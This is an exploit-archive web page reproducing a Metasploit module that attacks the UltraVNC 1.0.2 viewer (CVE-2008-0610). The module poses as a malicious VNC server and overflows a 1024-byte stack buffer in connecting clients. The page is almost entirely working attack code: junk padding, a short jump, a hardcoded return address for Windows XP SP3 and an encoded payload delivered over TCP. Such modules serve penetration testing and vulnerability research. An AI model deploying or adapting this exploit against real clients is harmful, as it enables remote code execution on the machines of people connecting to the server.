首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
来源:http://www.metasploit.com 作者:noperand 发布时间:2012-03-27  

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.

    If a malicious server responds to a client connection indicating a minor
    protocol version of 14 or 16, a 32-bit integer is subsequently read from
    the TCP stream by the client and directly provided as the trusted size for
    further reading from the TCP stream into a 1024-byte character array on
    the stack.
   },
   'Author'         => 'noperand',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2008-0610' ],
     [ 'OSVDB', '42840' ],
     [ 'BID', '27561' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 6 2008',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)

  sploit = rand_text_alpha(1100)    # junk, could be more efficient here
  sploit << "\x00\x04\x00\x00"    # value to get around a write
  sploit << rand_text_alpha(12)   # random junk
  sploit << "\xEB\x06" << make_nops(2) # short relative jump
  sploit << [target.ret].pack('V')  # pop/pop/ret (default is in vncviewer.exe)
  sploit << payload.encoded

=begin
  We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
  - These bytes are read directly by a call to ReadExact() with a size of 12.

  ...
  if (m_minorVersion == 14 || m_minorVersion == 16)
  {
   int size;
   ReadExact((char *)&size,sizeof(int));
   char mytext[1024]; //10k
   ReadExact(mytext,size);
   mytext[size]=0;
  ...

  If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
  We then append our data.
=end
  sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit

  print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
  client.put(sploit)
  handler(client)
  service.close_client(client)
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Serendipity PHP Weblog System
·KnFTPd 1.0.0 'FEAT' DoS PoC-Ex
·Apache Struts2 Local Code Exec
·Quest InTrust 10.4.x ReportTre
·Microsoft Games Chess.exe DOS
·D-Link DCS-5605 Network Survei
·Pale Moon Web Browser v11.0 (M
·Quest InTrust 10.4.x Annotatio
·PHP 5.4.0 Built-in Web Server
·TRENDnet SecurView TV-IP121WN
·FreePBX 2.10.0 / 2.9.0 callmen
·HT Editor Spawning Root Shell
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved